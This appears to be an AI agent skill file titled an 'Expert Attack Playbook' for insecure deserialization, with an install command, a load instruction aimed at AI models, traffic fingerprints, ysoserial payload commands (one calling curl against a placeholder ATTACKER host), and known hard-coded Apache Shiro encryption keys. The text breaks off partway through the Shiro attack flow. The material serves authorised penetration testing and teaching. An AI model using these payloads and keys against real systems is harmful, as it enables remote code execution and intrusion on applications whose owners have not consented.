$npx -y skills add Prohao42/aimy-skill --skill deserialization-insecure--- name: deserialization-insecure description: >- Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escal
| 1 | # SKILL: Insecure Deserialization — Expert Attack Playbook |
| 2 | |
| 3 | > **AI LOAD INSTRUCTION**: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain. |
| 4 | |
| 5 | ## 0. RELATED ROUTING |
| 6 | |
| 7 | - [jndi-injection](../jndi-injection/SKILL.md) when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization) |
| 8 | - [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP) |
| 9 | - [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when a WAF blocks your BCEL ClassLoader or Fastjson `@type` payload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint |
| 10 | |
| 11 | ### Advanced Reference |
| 12 | |
| 13 | Also load [JAVA_GADGET_CHAINS.md](./JAVA_GADGET_CHAINS.md) when you need: |
| 14 | - Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.) |
| 15 | - SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure |
| 16 | - Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints |
| 17 | - .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r) |
| 18 | - Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains |
| 19 | - Detection fingerprints: magic bytes table by format (Java `AC ED`, .NET `AAEAAD`, Python pickle `80 0N`, PHP `O:`, Ruby `04 08`) |
| 20 | |
| 21 | --- |
| 22 | |
| 23 | ## 1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION? |
| 24 | |
| 25 | ### Java Serialized Objects |
| 26 | |
| 27 | | Indicator | Where to Look | |
| 28 | |---|---| |
| 29 | | Hex `ac ed 00 05` | Raw binary in request/response body, cookies, POST params | |
| 30 | | Base64 `rO0AB` | Cookies (`rememberMe`), hidden form fields, JWT claims | |
| 31 | | `Content-Type: application/x-java-serialized-object` | HTTP headers | |
| 32 | | T3/IIOP protocol traffic | WebLogic ports (7001, 7002) | |
| 33 | |
| 34 | ### PHP Serialized Objects |
| 35 | |
| 36 | | Indicator | Where to Look | |
| 37 | |---|---| |
| 38 | | `O:NUMBER:"ClassName"` pattern | POST body, cookies, session files | |
| 39 | | `a:NUMBER:{` (array) | Same locations | |
| 40 | | `phar://` URI usage | File operations accepting user-controlled paths | |
| 41 | |
| 42 | ### Python Pickle |
| 43 | |
| 44 | | Indicator | Where to Look | |
| 45 | |---|---| |
| 46 | | Hex `80 03` or `80 04` (protocol 3/4) | Binary data in requests, message queues | |
| 47 | | Base64-encoded binary blob | API params, cookies, Redis values | |
| 48 | | `pickle.loads` / `pickle.load` in source | Code review / whitebox | |
| 49 | |
| 50 | --- |
| 51 | |
| 52 | ## 2. JAVA — GADGET CHAINS AND TOOLS |
| 53 | |
| 54 | ### ysoserial — Primary Tool |
| 55 | |
| 56 | ```bash |
| 57 | # Generate payload (example: CommonsCollections1 chain with command) |
| 58 | java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin |
| 59 | |
| 60 | # Base64-encode for HTTP transport |
| 61 | java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0 |
| 62 | |
| 63 | # Common chains to try (ordered by frequency of vulnerable dependency): |
| 64 | # CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x |
| 65 | # Spring1, Spring2 — Spring Framework |
| 66 | # Groovy1 — Groovy |
| 67 | # Hibernate1 — Hibernate |
| 68 | # JBossInterceptors1 — JBoss |
| 69 | # Jdk7u21 — JDK 7u21 (no extra dependency) |
| 70 | # URLDNS — DNS-only confirmation (no RCE, works everywhere) |
| 71 | ``` |
| 72 | |
| 73 | ### URLDNS — Safe Confirmation Probe |
| 74 | |
| 75 | URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage: |
| 76 | |
| 77 | ```bash |
| 78 | java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin |
| 79 | ``` |
| 80 | |
| 81 | DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains. |
| 82 | |
| 83 | ### Commons Collections — The Classic Chain |
| 84 | |
| 85 | The vulnerability exists when `org.apache.commons.collections` (3.x) is on the classpath and the application calls `readObject()` on untrusted data. |
| 86 | |
| 87 | Key classes in the chain: `InvokerTransformer` → `ChainedTransformer` → `TransformedMap` → triggers `Runtime.exec()` during deserialization. |
| 88 | |
| 89 | ### Apache Shiro — rememberMe Deserialization |
| 90 | |
| 91 | Shiro uses AES-CBC to encrypt serialized Java objects in the `rememberMe` cookie. |
| 92 | |
| 93 | ```text |
| 94 | Known hard-coded keys (SHIRO-550 / CVE-2016-4437): |
| 95 | kPH+bIxk5D2deZiIxcaaaA== # most common default |
| 96 | wGJlpLanyXlVB1LUUWolBg== # another common default in older versions |
| 97 | 4AvVhmFLUs0KTA3Kprsdag== |
| 98 | Z3VucwAAAAAAAAAAAAAAAA== |
| 99 | ``` |
| 100 | |
| 101 | **Attack flow**: |
| 102 | 1. Detect: response sets `rememberMe=deleteMe` cookie on invalid session |
| 103 | 2. Generate |